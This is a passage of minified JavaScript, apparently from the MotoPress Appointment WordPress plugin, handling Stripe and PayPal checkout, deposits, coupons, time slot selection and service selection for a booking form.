c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if(\"requires_action\"===e.status){if(\"redirect_to_url\"!==e.next_action.type)throw new Error(\"The user has cancelled or failed to complete the payment.\");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error(\"Unable to process payment.\",e.message),e;throw new Error(\"Unable to process payment.\")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create(\"payment\",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?\"never\":\"auto\",email:e?.email?\"never\":\"auto\",phone:e?.phone?\"never\":\"auto\",address:{line1:\"auto\",line2:\"auto\",city:\"auto\",state:\"auto\",country:\"auto\",postalCode:\"auto\"}}}})}}class Le extends Fe{setupProperties(){this.name=\"card\",this.title=u(\"Card\",\"motopress-appointment\"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u(\"Total\",\"motopress-appointment\"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return[\"apple_pay\",\"google_pay\",\"link\"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(\u002F([-_][a-z])\u002Fg,(e=>e.toUpperCase().replace(\"-\",\"\").replace(\"_\",\"\")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create(\"paymentRequestButton\",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:\"50px\"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:\"card\",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete(\"success\"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,console.error(\"Unable to process payment.\",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Re extends Fe{setupProperties(){this.name=\"sepa_debit\",this.title=u(\"SEPA Direct Debit\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create(\"iban\",{style:this.settings.style,supportedCountries:[\"SEPA\"]})}}class Oe extends Fe{setupProperties(){this.name=\"bancontact\",this.title=u(\"Bancontact\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name=\"ideal\",this.title=u(\"iDEAL\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create(\"idealBank\",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name=\"giropay\",this.title=u(\"Giropay\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name=\"sofort\",this.title=u(\"SOFORT\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId=\"stripe\",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case\"BIF\":case\"CLP\":case\"DJF\":case\"GNF\":case\"JPY\":case\"KMF\":case\"KRW\":case\"MGA\":case\"PYG\":case\"RWF\":case\"UGX\":case\"VND\":case\"VUV\":case\"XAF\":case\"XOF\":case\"XPF\":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u(\"Total\",\"motopress-appointment\"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0\u003Cthis.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0\u003Cthis.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error(\"The payment gateway is not valid.\"));this.$gatewayPreloader.removeClass(\"mpa-hide\");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,a).then((e=>(this.$gatewayPreloader.addClass(\"mpa-hide\"),e)),(e=>{throw this.$gatewayPreloader.addClass(\"mpa-hide\"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:\"auto\",payment_methods:[],public_key:\"\",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:\"2023-10-16\"}),s=t.elements({mode:\"payment\",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case\"payment\":e.payment=new Be(t,s,this.settings),e.payment.provideCart(this.cart);break;case\"card\":e.card=new Le(t,s,this.settings),e.card.getControl().on(\"change\",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on(\"token\",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on(\"cancel\",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on(\"click\",this.onClickPaymentRequestButton.bind(this)))}));break;case\"sepa_debit\":e.sepa_debit=new Re(t,s,this.settings),e.sepa_debit.getControl().on(\"change\",this.onChange.bind(this));break;case\"bancontact\":e.bancontact=new Oe(t,s,this.settings);break;case\"ideal\":e.ideal=new Ne(t,s,this.settings);break;case\"giropay\":e.giropay=new Ve(t,s,this.settings);break;case\"sofort\":e.sofort=new qe(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId=\"paypal\"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").show()}mount(e){let t=this;t.$errorWrapper=e.find(\".mpa-paypal-error\"),t.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),paypal.Buttons({onInit(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||s.disable(),e.addEventListener(\"change\",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\"))},createOrder:function(e,s){return t.$errorWrapper.addClass(\"mpa-hide\"),t.$gatewayPreloader.removeClass(\"mpa-hide\"),c(\"\u002Fpayments\u002Fprepare\",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass(\"mpa-hide\"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass(\"mpa-hide\")}}).render(e.find(\".mpa-paypal-container\")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class je{static createGateways(e,t){let s={};for(let i of m().settings().getActiveGateways()){let a=e.find(\".mpa-\"+i+\"-payment-gateway .mpa-billing-fields\"),r=0!==a.length?je.createGateway(i,a,t):null;null!==r&&(s[i]=r)}return s.free=new Ae({},t),s}static createGateway(e,t,s){switch(e){case\"manual\":case\"test\":case\"cash\":case\"bank\":return new Ee(t,s);case\"paypal\":return new He(t,s);case\"stripe\":return new Ue(t,s);default:return wp.hooks.applyFilters(\"mpa_create_gateway\",null,e,t,s)}}}class We extends pe{setupProperties(){super.setupProperties(),this.lastCartHash=\"\",this.gatewayId=\"\",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(\".mpa-checkout-form\"),this.$order=this.$element.find(\".mpa-order\"),this.$billingSection=this.$element.find(\".mpa-billing-details\"),this.$paymentGateways=this.$billingSection.find(\".mpa-payment-gateway\"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name=\"payment_gateway_id\"]'),this.$message=this.$element.find(\".mpa-message\").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(\".mpa-deposit-section\"),this.$depositSwitcher=this.$element.find('input[name=\"mpa-deposit-switcher\"]'),this.$depositTable=this.$element.find(\"#mpa-deposit-table\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.couponSection=null}theId(){return\"payment\"}propertiesSchema(){return{gatewayId:{type:\"string\",default:\"\"},isDepositDisabled:{type:\"bool\",default:!1},acceptTerms:{type:\"bool\",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass(\"mpa-hide\",!e.trim().length)}clearErrorMessage(){this.setErrorMessage(\"\")}hideDeposit(){this.$deposit.addClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!1),this.setProperty(\"isDepositDisabled\",this.$depositSwitcher.prop(\"checked\"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty(\"gatewayId\",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on(\"submit\",(e=>!1)),this.$paymentGatewayButtons.on(\"change\",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on(\"input\",(e=>{this.$depositTable.toggleClass(\"mpa-hide\",e.target.checked),this.setProperty(\"isDepositDisabled\",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():\"\"})}))}loadEntities(){this.isLoaded||this.$element.removeClass(\"mpa-hide\"),this.lastCartHash=this.cart.getHash(\"order\"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.updateOrderDetails();let e=[];return\"free\"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,\"order\")?(this.lastCartHash=this.cart.getHash(\"order\"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters(\"mpa_booking_reload_drafts\",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),this.lastCartHash=\"\";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(\":checked\").prop(\"checked\",!1),e in this.gateways?(this.setProperty(\"gatewayId\",e),this.$paymentGatewayButtons.filter('[value=\"'+e+'\"]').prop(\"checked\",!0)):this.resetProperty(\"gatewayId\");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s=\"\";return t>0&&(s+='\u003Ctable class=\"widefat\">',s+=\"\u003Ctbody>\",s+='\u003Ctr class=\"mpa-deposit-title\">',s+='\u003Ctd class=\"column-title\" colspan=\"2\">',s+=u(\"Deposit\",\"motopress-appointment\"),s+=\"\u003C\u002Ftd>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-now\">',s+='\u003Cth class=\"column-title\">',s+=u(\"Paying now\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=Se(e.deposit),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-left\">',s+='\u003Cth class=\"column-title\">',s+=u(\"Left to pay\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=Se(t),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+=\"\u003C\u002Ftbody>\",s+=\"\u003C\u002Ftable>\"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(\":checked\").length>0&&this.toggleDepositSection()}let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:\"\"}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId(\"free\",!1);else{const e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass(\"mpa-hide\",e),this.$paymentGatewayButtons.prop(\"required\",!e)}loadGateways(){let e=this.$billingSection.find(\".mpa-payment-gateways\");this.gateways=je.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c(\"\u002Fbookings\u002Fdraft\",{...wp.hooks.applyFilters(\"mpa_booking_draft_data\",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop(\"disabled\",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return\"\"!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return\"object\"==typeof e&&\"function\"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class Ge extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){F(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,s){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||m().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;\"object\"==typeof i&&(i.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:i,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,s)=>s.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return h(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:i.employee_in?i.employee_in.join(\",\"):\"\",location_in:i.location_in?i.location_in.join(\",\"):\"\",date_from:f(t,\"internal\"),date_to:f(s,\"internal\"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new Y(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",a=this.cartItem.getService();if(a.isGroupService()){let s=a.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=\" \",i+='\u003Cspan class=\"mpa-slot-capacity\">',i+='\u003Cspan class=\"mpa-slot-capacity-label\">'+a.getQuantityLabel()+\":\u003C\u002Fspan>\",i+=\"&nbsp;\",i+='\u003Cspan class=\"mpa-slot-capacity-number\">'+s+\"\u003C\u002Fspan>\",i+=\"\u003C\u002Fspan>\"}let r=ye(i,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(r),s++}s>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class ze extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const s=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const s=j(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const s=j(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const s=j(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let 